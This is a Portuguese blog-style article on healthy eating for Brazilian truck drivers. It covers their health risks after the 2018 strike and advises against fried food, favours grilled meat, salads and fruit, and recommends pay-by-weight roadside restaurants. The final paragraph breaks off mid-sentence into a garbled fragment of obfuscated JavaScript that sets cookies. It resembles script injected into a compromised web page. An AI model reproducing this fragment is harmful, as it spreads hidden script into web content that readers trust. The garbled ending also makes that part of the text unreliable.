Dicas para se alimentar bem na estrada

Em 2018, o Brasil passou por uma crise onde sentimos na pele toda a importância dos caminhoneiros para o funcionamento pleno não apenas da economia, mas do país como um todo. A greve afetou diversos segmentos importantes do país e instaurou um caos que não víamos há tempos.

O que deve-se concluir a partir disso é que o preço do combustível é apenas um dos problemas dos caminhoneiros, que enfrentam outros sérios desafios cotidianamente para fazer o transporte de cargas pelas rodovias. Rodovias estas que muitas vezes estão em condições precárias, como buracos, falta de sinalização e iluminação ruim.

A carga de trabalhos elevada também é um problema para os caminhoneiros, que muitas vezes acabam ficando muitas horas seguidas nas estradas, prejudicando sua saúde, pois é quase impossível seguir uma alimentação saudável nessas condições. Como consequência, a obesidade acaba sendo um problema comum entre os caminhoneiros, pois todos esses fatores acabam provocando o acúmulo de gordura no corpo. A pior parte dessa condição é que ela é a porta de entrada para outras complicações graves, como dores nas costas e nas articulações, além de pressão alta e diabetes.

Desse modo, tentar manter uma alimentação saudável deveria também ser prioridade para quem passa tanto tempo fora de casa. A seguir, algumas dicas para que isso seja acessível.

Dicas para se alimentar bem na estrada

Se evitar o excesso de frituras é o primeiro passo para uma alimentação saudável. Apesar de popular na beira das estradas, quando os óleos vegetais são aquecidos eles se transformam em gordura ruim. Priorize grelhados ou assados.

Muitos dos lanches populares entre quem está na estrada são alimentos muito calóricos, com gordura e colesterol em excesso. Para evitar, opte por lanches como filé de frango, atum, queijo branco e saladas. Além disso, não se esqueça de separar alguns minutos para o consumo de frutas e também legumes.

Os restaurantes são de grande utilidade, por fornecer alimentos logo na beira das estradas. No entanto, é recomendável que você dê preferência para os que funcionam com balança, para que possa ser feito um controle da quantidade e do tipo de comida. Esses costumam oferecer uma variedade maior, inclusive de saladas, carnes magras e legumes.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]